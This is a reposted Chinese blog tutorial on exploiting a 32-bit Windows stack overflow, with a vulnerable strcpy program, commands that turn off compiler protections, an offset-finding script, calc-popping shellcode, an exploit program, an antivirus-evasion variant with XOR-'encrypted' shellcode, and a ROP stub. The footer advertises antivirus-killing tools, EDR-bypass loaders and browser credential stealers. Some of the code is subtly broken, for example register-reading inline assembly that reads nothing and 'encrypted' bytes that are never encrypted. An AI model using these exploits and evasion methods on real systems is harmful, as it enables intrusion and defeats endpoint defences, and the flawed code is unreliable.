硬核干货|栈溢出调用CALL,从原理到实战全拆解(附完整可运行代码)

admin 2026-03-26 15:46:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文全面拆解了栈溢出调用CALL的原理与实战技巧。它从栈结构、核心术语讲起,详细分析了32位函数调用栈的布局和汇编流程,并通过一个包含strcpy函数的C语言程序示例,演示了如何利用栈溢出覆盖返回地址。文章还提供了完整的可运行代码、调试步骤和攻击载荷构造方法,手把手教读者实现从定位偏移到执行ShellCode的全过程。 综合评分: 85 文章分类: 二进制安全,WEB安全,红队,渗透测试,安全开发


cover_image

硬核干货|栈溢出调用CALL,从原理到实战全拆解(附完整可运行代码)

原创

星夜AI安全 星夜AI安全

星夜AI安全

2026年3月23日 08:18 吉林

#

网络安全入门必学核心技能,从栈结构拆解到ShellCode执行,手把手带你实现栈溢出漏洞利用!

在网络安全与逆向工程的学习路径中,栈溢出是绕不开的经典漏洞,也是红队攻防、免杀技术的基础知识点。本文将在原有内容基础上,补充完整可运行的代码、详细调试步骤和实战细节,让你真正吃透栈溢出调用CALL的核心逻辑。

一、课前必备:核心术语与工具准备

1.1 核心术语速记(新手必背)

| 术语 | 核心作用 | | — | — | | 栈(Stack) | 存储局部变量、函数参数、返回地址,后进先出 | | 栈帧(Stack Frame) | 单个函数调用占用的栈内存区域,由EBP/RBP标识 | | 返回地址 | 函数执行完毕后跳转的地址,栈溢出核心攻击目标 | | EIP/RIP | 指令指针寄存器,控制CPU执行哪条指令(劫持核心) | | ShellCode | 可执行的恶意机器码(如弹出计算器、反向连接) | | NOP Sled | 一串NOP指令(0x90),增加命中ShellCode的概率 |

1.2 工具清单(附使用场景)

| 工具 | 用途 | 关键操作 | | — | — | — | | Visual Studio/MinGW | 编译漏洞程序 | 关闭安全编译选项 | | x64dbg | 调试栈结构、定位偏移 | 断点、栈窗口查看、内存搜索 | | msfvenom | 生成ShellCode | msfvenom -p windows/exec cmd=calc.exe -f c | | Python | 生成偏移模式、构造攻击载荷 | 编写pattern_create/offset脚本 |

二、核心原理:函数调用栈与溢出逻辑(带汇编注释)

2.1 32位函数调用栈完整布局(带内存地址示例)

高地址 → 0x0019FF20: |    参数 1        | ← [ebp + 0x08]
        0x0019FF1C: |    返回地址      | ← [ebp + 0x04] (我们要覆盖的地址)
        0x0019FF18: |    保存的EBP     | ← [ebp + 0x00] (EBP指向此处)
        0x0019FF14: |    局部变量1     | ← [ebp - 0x04]
        0x0019FF10: |    buffer[64]    | ← [ebp - 0x40] (64字节缓冲区)
低地址 → 0x0019FED0: |    ESP指向栈顶   |

2.2 函数调用完整汇编流程(带注释)

; 调用者(main函数)
push 0x12345678      ; 压入函数参数
call vulnerable_func ; 1. 压入返回地址(如0x00401000),2. 跳转到函数入口

; 被调用者(vulnerable_func)- 函数序言
vulnerable_func:
    push ebp          ; 保存当前EBP值到栈([esp] = 原EBP)
    mov ebp, esp      ; 将EBP设置为当前ESP,建立栈帧基址
    sub esp, 0x40     ; 分配64字节(0x40)给buffer缓冲区
    ; 此时栈帧构建完成:EBP固定,ESP指向缓冲区底部

    ; 函数体:危险的strcpy(无边界检查)
    mov eax, [ebp+0x08] ; 获取输入参数(攻击者可控)
    push eax            ; 第二个参数:源字符串
    lea ecx, [ebp-0x40] ; 获取buffer地址
    push ecx            ; 第一个参数:目标缓冲区
    call strcpy         ; 执行拷贝,溢出从此开始

    ; 函数尾声
    mov esp, ebp        ; 恢复ESP到EBP位置(释放局部变量)
    pop ebp             ; 恢复原EBP值
    ret                 ; 弹出返回地址到EIP,CPU执行该地址指令

2.3 栈溢出核心逻辑(图解+公式)

正常情况:输入数据 ≤ 64字节 → buffer正常填充,返回地址不变 溢出情况:输入数据 > 64字节 → 覆盖局部变量 → 覆盖保存的EBP → 覆盖返回地址

关键公式(32位)

覆盖返回地址所需填充字节数 = 缓冲区大小 + 保存的EBP大小
= 64字节(buffer) + 4字节(EBP) = 68字节

三、实战第一步:编写并编译漏洞程序(带完整代码)

3.1 漏洞程序完整代码(vuln.c)

#include&nbsp;<stdio.h>
#include&nbsp;<string.h>
#include&nbsp;<windows.h>

// 打印栈信息,方便调试定位
void&nbsp;print_stack_info()&nbsp;{
&nbsp; &nbsp; // 32位下获取ESP/EBP(64位需修改)
&nbsp; &nbsp; DWORD esp, ebp;
&nbsp; &nbsp; __asm {
&nbsp; &nbsp; &nbsp; &nbsp; mov esp, esp;&nbsp;// 将ESP值赋值给变量esp
&nbsp; &nbsp; &nbsp; &nbsp; mov ebp, ebp;&nbsp;// 将EBP值赋值给变量ebp
&nbsp; &nbsp; }
&nbsp; &nbsp; printf("[+] 当前ESP地址: 0x%08X\n", esp);
&nbsp; &nbsp; printf("[+] 当前EBP地址: 0x%08X\n", ebp);
}

// 漏洞函数:无边界检查的字符串拷贝
void&nbsp;vulnerable_function(char&nbsp;*input)&nbsp;{
&nbsp; &nbsp; char&nbsp;buffer[64];&nbsp;// 64字节缓冲区
&nbsp; &nbsp; printf("[+] buffer缓冲区地址: 0x%08X\n", buffer);
&nbsp; &nbsp; printf("[+] 输入数据长度: %d\n",&nbsp;strlen(input));

&nbsp; &nbsp; // 核心漏洞:strcpy不检查输入长度
&nbsp; &nbsp; strcpy(buffer, input);
&nbsp; &nbsp; printf("[+] 数据拷贝完成\n");
}

int&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])&nbsp;{
&nbsp; &nbsp; printf("======= 栈溢出漏洞演示程序 =======\n");
&nbsp; &nbsp; if&nbsp;(argc <&nbsp;2) {
&nbsp; &nbsp; &nbsp; &nbsp; printf("使用方法: %s <输入数据>\n", argv[0]);
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;1;
&nbsp; &nbsp; }

&nbsp; &nbsp; print_stack_info();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 打印栈信息
&nbsp; &nbsp; vulnerable_function(argv[1]);&nbsp;// 调用漏洞函数
&nbsp; &nbsp; printf("[+] 程序正常返回\n");
&nbsp; &nbsp; return&nbsp;0;
}

3.2 编译命令(关闭所有安全保护)

方式1:MSVC编译(Visual Studio开发者命令提示符)

# /GS- 关闭栈保护 /DYNAMICBASE:NO 关闭ASLR /NXCOMPAT:NO 关闭DEP
cl.exe /GS- /DYNAMICBASE:NO /NXCOMPAT:NO vuln.c /Fe:vuln.exe

方式2:MinGW编译(32位)

# -m32 编译32位程序 -fno-stack-protector 关闭栈保护 -z execstack 开启栈执行
gcc -m32 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln32.exe

3.3 验证编译结果(检查安全保护)

# 使用dumpbin查看编译选项(MSVC)
dumpbin /headers vuln.exe

# 关键检查项:
# 1. "GS cookie" 显示 "No" → 栈保护已关闭
# 2. "Dynamic base" 显示 "No" → ASLR已关闭
# 3. "NX compatible" 显示 "No" → DEP已关闭

四、实战第二步:定位溢出偏移(带调试步骤)

4.1 生成模式字符串(Python脚本)

# pattern_create.py - 生成唯一模式字符串,用于定位偏移
import&nbsp;sys

def&nbsp;pattern_create(length):
&nbsp; &nbsp; pattern =&nbsp;""
&nbsp; &nbsp; # 生成 Aa0Aa1Aa2...Zz9 格式的唯一字符串
&nbsp; &nbsp; upper = [chr(c)&nbsp;for&nbsp;c&nbsp;in&nbsp;range(ord('A'),&nbsp;ord('Z')+1)]
&nbsp; &nbsp; lower = [chr(c)&nbsp;for&nbsp;c&nbsp;in&nbsp;range(ord('a'),&nbsp;ord('z')+1)]
&nbsp; &nbsp; digit = [chr(c)&nbsp;for&nbsp;c&nbsp;in&nbsp;range(ord('0'),&nbsp;ord('9')+1)]

&nbsp; &nbsp; i =&nbsp;0
&nbsp; &nbsp; while&nbsp;len(pattern) < length:
&nbsp; &nbsp; &nbsp; &nbsp; u = upper[i %&nbsp;26]
&nbsp; &nbsp; &nbsp; &nbsp; l = lower[i %&nbsp;26]
&nbsp; &nbsp; &nbsp; &nbsp; d = digit[i %&nbsp;10]
&nbsp; &nbsp; &nbsp; &nbsp; pattern += u + l + d
&nbsp; &nbsp; &nbsp; &nbsp; i +=&nbsp;1
&nbsp; &nbsp; return&nbsp;pattern[:length]

def&nbsp;pattern_offset(pattern, value):
&nbsp; &nbsp; # 将EIP的4字节值转换为字符串(小端序)
&nbsp; &nbsp; import&nbsp;struct
&nbsp; &nbsp; needle = struct.pack("<I", value)
&nbsp; &nbsp; # 查找偏移位置
&nbsp; &nbsp; offset = pattern.find(needle)
&nbsp; &nbsp; return&nbsp;offset&nbsp;if&nbsp;offset != -1&nbsp;else&nbsp;"未找到"

# 生成100字节的模式字符串(足够覆盖68字节偏移)
if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; payload = pattern_create(100)
&nbsp; &nbsp; print("[+] 模式字符串:", payload)
&nbsp; &nbsp; # 示例:如果崩溃时EIP=0x34614133,查找偏移
&nbsp; &nbsp; # print(pattern_offset(payload, 0x34614133))

4.2 x64dbg调试定位偏移(详细步骤)

  1. 1. 加载程序:打开x64dbg → 拖拽vuln32.exe → 右键→参数→添加模式字符串(如生成的100字节)
  2. 2. 设置断点:在vulnerable_function入口处(0x00401000左右)按F2设置断点
  3. 3. 运行程序:按F9运行 → 断点命中后按F7单步执行到strcpy
  4. 4. 观察栈窗口:切换到“栈”标签,查看EBP地址(如0x0019FF18)
  5. 5. 执行拷贝:按F7执行strcpy → 程序崩溃,查看EIP值(如0x34614133)
  6. 6. 计算偏移:运行pattern_offset脚本,输入EIP值 → 得到偏移(如68)

五、实战第三步:构造攻击载荷执行ShellCode(带完整代码)

5.1 生成ShellCode(以弹出计算器为例)

方式1:手动编写(32位Windows)

// 功能:调用WinExec("calc.exe", 1) → 弹出计算器
unsigned&nbsp;char&nbsp;shellcode[] = {
&nbsp; &nbsp; 0x31,&nbsp;0xC0,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // xor eax,eax &nbsp; &nbsp; &nbsp; &nbsp; 清空EAX
&nbsp; &nbsp; 0x50,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // push eax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;压入NULL(字符串结束符)
&nbsp; &nbsp; 0x68,&nbsp;0x63,&nbsp;0x61,&nbsp;0x6C,&nbsp;0x63,&nbsp;// push 0x636C6163 &nbsp;压入"calc"
&nbsp; &nbsp; 0x54,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // push esp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;压入字符串地址
&nbsp; &nbsp; 0xBB,&nbsp;0x77,&nbsp;0xC2,&nbsp;0x93,&nbsp;0xC7,&nbsp;// mov ebx,0xC793C277 &nbsp;WinExec地址(需替换为本地地址)
&nbsp; &nbsp; 0xFF,&nbsp;0xD3,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // call ebx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;调用WinExec
&nbsp; &nbsp; 0x31,&nbsp;0xC0,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // xor eax,eax &nbsp; &nbsp; &nbsp; &nbsp; 清空EAX
&nbsp; &nbsp; 0x50,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // push eax &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;压入0
&nbsp; &nbsp; 0xBB,&nbsp;0x77,&nbsp;0xC2,&nbsp;0x81,&nbsp;0x7C,&nbsp;// mov ebx,0x7C81C277 &nbsp;ExitProcess地址
&nbsp; &nbsp; 0xFF,&nbsp;0xD3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// call ebx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;调用ExitProcess
};

方式2:msfvenom生成(更便捷)

# 生成Windows弹出计算器的ShellCode(32位)
msfvenom -p windows/exec cmd=calc.exe -f c -a x86 --platform windows

5.2 攻击载荷构造代码(exploit.c)

#include&nbsp;<stdio.h>
#include&nbsp;<string.h>
#include&nbsp;<windows.h>

// 弹出计算器的ShellCode(替换为msfvenom生成的代码)
unsigned&nbsp;char&nbsp;shellcode[] = {
&nbsp; &nbsp; 0x31,&nbsp;0xc0,&nbsp;0x50,&nbsp;0x68,&nbsp;0x63,&nbsp;0x61,&nbsp;0x6c,&nbsp;0x63,
&nbsp; &nbsp; 0x54,&nbsp;0xbb,&nbsp;0x77,&nbsp;0xc2,&nbsp;0x93,&nbsp;0xc7,&nbsp;0xff,&nbsp;0xd3
};

// 获取函数地址(解决WinExec地址变化问题)
DWORD&nbsp;get_func_addr(char&nbsp;*dll,&nbsp;char&nbsp;*func)&nbsp;{
&nbsp; &nbsp; HMODULE hModule = LoadLibraryA(dll);
&nbsp; &nbsp; return&nbsp;(DWORD)GetProcAddress(hModule, func);
}

int&nbsp;main()&nbsp;{
&nbsp; &nbsp; // 1. 准备攻击载荷
&nbsp; &nbsp; char&nbsp;payload[200] = {0};
&nbsp; &nbsp; int&nbsp;offset =&nbsp;68;&nbsp;// 覆盖返回地址的偏移(调试得到)

&nbsp; &nbsp; // 2. 填充NOP Sled(0x90),增加命中概率
&nbsp; &nbsp; memset(payload,&nbsp;0x90,&nbsp;50);

&nbsp; &nbsp; // 3. 拷贝ShellCode到载荷(NOP之后)
&nbsp; &nbsp; memcpy(payload +&nbsp;50, shellcode,&nbsp;sizeof(shellcode));

&nbsp; &nbsp; // 4. 覆盖返回地址为ShellCode起始地址(需替换为实际地址)
&nbsp; &nbsp; // 注意:调试时查看buffer地址,如0x0019FF10 → ShellCode地址=0x0019FF10+50=0x0019FF42
&nbsp; &nbsp; DWORD shellcode_addr =&nbsp;0x0019FF42;&nbsp;// 替换为实际调试地址
&nbsp; &nbsp; memcpy(payload + offset, &shellcode_addr,&nbsp;4);&nbsp;// 小端序写入

&nbsp; &nbsp; // 5. 打印载荷信息
&nbsp; &nbsp; printf("[+] ShellCode长度: %d\n",&nbsp;sizeof(shellcode));
&nbsp; &nbsp; printf("[+] 攻击载荷长度: %d\n",&nbsp;strlen(payload));
&nbsp; &nbsp; printf("[+] ShellCode地址: 0x%08X\n", shellcode_addr);

&nbsp; &nbsp; // 6. 调用漏洞程序执行载荷
&nbsp; &nbsp; char&nbsp;cmd[256];
&nbsp; &nbsp; sprintf(cmd,&nbsp;"vuln32.exe \"%s\"", payload);
&nbsp; &nbsp; system(cmd);

&nbsp; &nbsp; return&nbsp;0;
}

5.3 关键注意事项

  1. 1. ShellCode地址替换:必须通过x64dbg查看buffer的实际地址(如0x0019FF10),加上NOP长度(50)得到ShellCode起始地址
  2. 2. WinExec地址:不同系统WinExec地址不同,建议用get_func_addr("kernel32.dll", "WinExec")动态获取
  3. 3. 字符转义:攻击载荷中的特殊字符(如\x00)需处理,避免截断

六、免杀优化:栈溢出调用CALL的进阶技巧(带代码)

6.1 免杀版栈溢出执行代码

#include&nbsp;<stdio.h>
#include&nbsp;<string.h>
#include&nbsp;<windows.h>

// 加密后的ShellCode(避免特征检测)
unsigned&nbsp;char&nbsp;enc_shellcode[] = {
&nbsp; &nbsp; 0x90,&nbsp;0x90,&nbsp;0x90,&nbsp;0x90,&nbsp;// NOP Sled
&nbsp; &nbsp; 0x31,&nbsp;0xC0,&nbsp;0x50,&nbsp;0x68,&nbsp;0x63,&nbsp;0x61,&nbsp;0x6C,&nbsp;0x63,
&nbsp; &nbsp; 0x54,&nbsp;0xBB,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0xFF,&nbsp;0xD3
};

// XOR解密ShellCode
void&nbsp;xor_decrypt(unsigned&nbsp;char&nbsp;*data,&nbsp;int&nbsp;len,&nbsp;unsigned&nbsp;char&nbsp;key)&nbsp;{
&nbsp; &nbsp; for&nbsp;(int&nbsp;i =&nbsp;0; i < len; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; data[i] ^= key;
&nbsp; &nbsp; }
}

// 动态获取Kernel32.dll导出函数地址
DWORD&nbsp;get_kernel32_func(char&nbsp;*func_name)&nbsp;{
&nbsp; &nbsp; HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
&nbsp; &nbsp; return&nbsp;(DWORD)GetProcAddress(hKernel32, func_name);
}

// 触发栈溢出的核心函数
void&nbsp;trigger_overflow()&nbsp;{
&nbsp; &nbsp; char&nbsp;buffer[64];
&nbsp; &nbsp; char&nbsp;exploit[200] = {0};
&nbsp; &nbsp; int&nbsp;offset =&nbsp;68;&nbsp;// 偏移量

&nbsp; &nbsp; // 1. 解密ShellCode
&nbsp; &nbsp; xor_decrypt(enc_shellcode +&nbsp;4,&nbsp;sizeof(enc_shellcode) -&nbsp;4,&nbsp;0x12);

&nbsp; &nbsp; // 2. 填充到返回地址
&nbsp; &nbsp; memset(exploit,&nbsp;0x41, offset);

&nbsp; &nbsp; // 3. 替换WinExec地址(动态获取)
&nbsp; &nbsp; DWORD winexec_addr = get_kernel32_func("WinExec");
&nbsp; &nbsp; memcpy(enc_shellcode +&nbsp;12, &winexec_addr,&nbsp;4);

&nbsp; &nbsp; // 4. 设置返回地址为ShellCode
&nbsp; &nbsp; DWORD shellcode_addr = (DWORD)enc_shellcode;
&nbsp; &nbsp; memcpy(exploit + offset, &shellcode_addr,&nbsp;4);

&nbsp; &nbsp; // 5. 触发溢出
&nbsp; &nbsp; strcpy(buffer, exploit);
}

int&nbsp;main()&nbsp;{
&nbsp; &nbsp; // 1. 分配可执行内存
&nbsp; &nbsp; void&nbsp;*exec_mem = VirtualAlloc(
&nbsp; &nbsp; &nbsp; &nbsp; NULL,&nbsp;sizeof(enc_shellcode),
&nbsp; &nbsp; &nbsp; &nbsp; MEM_COMMIT | MEM_RESERVE,
&nbsp; &nbsp; &nbsp; &nbsp; PAGE_EXECUTE_READWRITE
&nbsp; &nbsp; );
&nbsp; &nbsp; if&nbsp;(!exec_mem) {
&nbsp; &nbsp; &nbsp; &nbsp; printf("[-] 内存分配失败\n");
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;1;
&nbsp; &nbsp; }

&nbsp; &nbsp; // 2. 拷贝ShellCode到可执行内存
&nbsp; &nbsp; memcpy(exec_mem, enc_shellcode,&nbsp;sizeof(enc_shellcode));

&nbsp; &nbsp; // 3. 触发栈溢出执行ShellCode
&nbsp; &nbsp; trigger_overflow();

&nbsp; &nbsp; return&nbsp;0;
}

6.2 免杀优化点说明

  1. 1. ShellCode加密:使用XOR加密ShellCode,避免静态特征检测
  2. 2. 动态函数地址:不硬编码WinExec地址,通过GetProcAddress动态获取
  3. 3. 内存分配:使用VirtualAlloc分配可执行内存,避免栈执行检测
  4. 4. 混淆执行流:通过栈溢出间接调用,而非直接执行ShellCode

七、常见问题与调试技巧

7.1 程序不崩溃?

  • • 检查偏移量是否正确(重新生成模式字符串调试)
  • • 确认编译时关闭了所有安全保护
  • • 查看栈窗口,确认输入数据是否覆盖到返回地址

7.2 ShellCode不执行?

  • • 检查ShellCode地址是否正确(x64dbg内存窗口验证)
  • • 确认内存属性为PAGE_EXECUTE_READWRITE
  • • 检查ShellCode是否包含截断字符(如\x00)

7.3 调试核心技巧

  1. 1. 断点设置:在strcpy函数处设置断点,观察源/目标地址
  2. 2. 内存搜索:按Ctrl+G跳转到buffer地址,查看数据填充情况
  3. 3. 寄存器监控:执行ret指令前,查看EIP是否被覆盖为ShellCode地址

八、现代安全机制绕过(附ROP基础代码)

8.1 DEP绕过(ROP链示例)

// 简单ROP链:调用VirtualProtect开启内存执行
unsigned&nbsp;char&nbsp;rop_chain[] = {
&nbsp; &nbsp; 0x41,&nbsp;0x41,&nbsp;0x41,&nbsp;0x41,&nbsp;// 填充
&nbsp; &nbsp; 0x00,&nbsp;0x10,&nbsp;0x40,&nbsp;0x00,&nbsp;// pop eax; ret (ROP gadget地址)
&nbsp; &nbsp; 0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x40,&nbsp;// PAGE_EXECUTE_READWRITE
&nbsp; &nbsp; 0x00,&nbsp;0x10,&nbsp;0x40,&nbsp;0x01,&nbsp;// pop ebx; ret
&nbsp; &nbsp; 0x00,&nbsp;0x19,&nbsp;0xFF,&nbsp;0x10,&nbsp;// buffer地址
&nbsp; &nbsp; // 更多ROP gadget...
};

九、总结

核心知识点回顾

  1. 1. 栈溢出核心:通过超长数据覆盖栈上的返回地址,劫持EIP执行ShellCode,32位下64字节缓冲区需68字节填充才能覆盖返回地址;
  2. 2. 编译关键:必须关闭GS(栈保护)、ASLR(地址随机化)、DEP(数据执行保护)才能复现基础栈溢出;
  3. 3. 免杀技巧:通过ShellCode加密、动态函数地址、ROP链等方式,绕过现代安全检测机制。

安全声明

本文仅用于网络安全技术学习,严禁用于非法攻击。遵守《网络安全法》,未经授权测试他人系统均属违法行为。

关注微信公众号后台回复入群 即可加入星夜AI安全交流群

圈子介绍

现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获“最佳攻击手”“突出贡献个人”等荣誉。

已产出的安全工具及成果包括:

  • • 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
  • • XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
  • • 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
  • • NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
  • • WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)_
  • • _DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
  • • fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
  • • RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
  • • 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
  • • 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
  • • 一键Kill 火绒 defender 工具 HDKiller(包含源码)
  • • win11 一键kill 360工具 InjectKill(包含源码)
  • • win11 一键kill defender工具win11_df-killer(包含源码)
  • • 免杀火绒6.0内存防护加载器BypassMemLoader
  • • 单文件bypass 360免杀加载器

后续将不断更新到内部圈子中 欢迎加入圈子

灰尽暗夜燎前线,烟起迷雾挂蓝巾

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星夜AI安全 星夜AI安全 星夜AI安全《硬核干货|栈溢出调用CALL,从原理到实战全拆解(附完整可运行代码)》

评论:0   参与:  0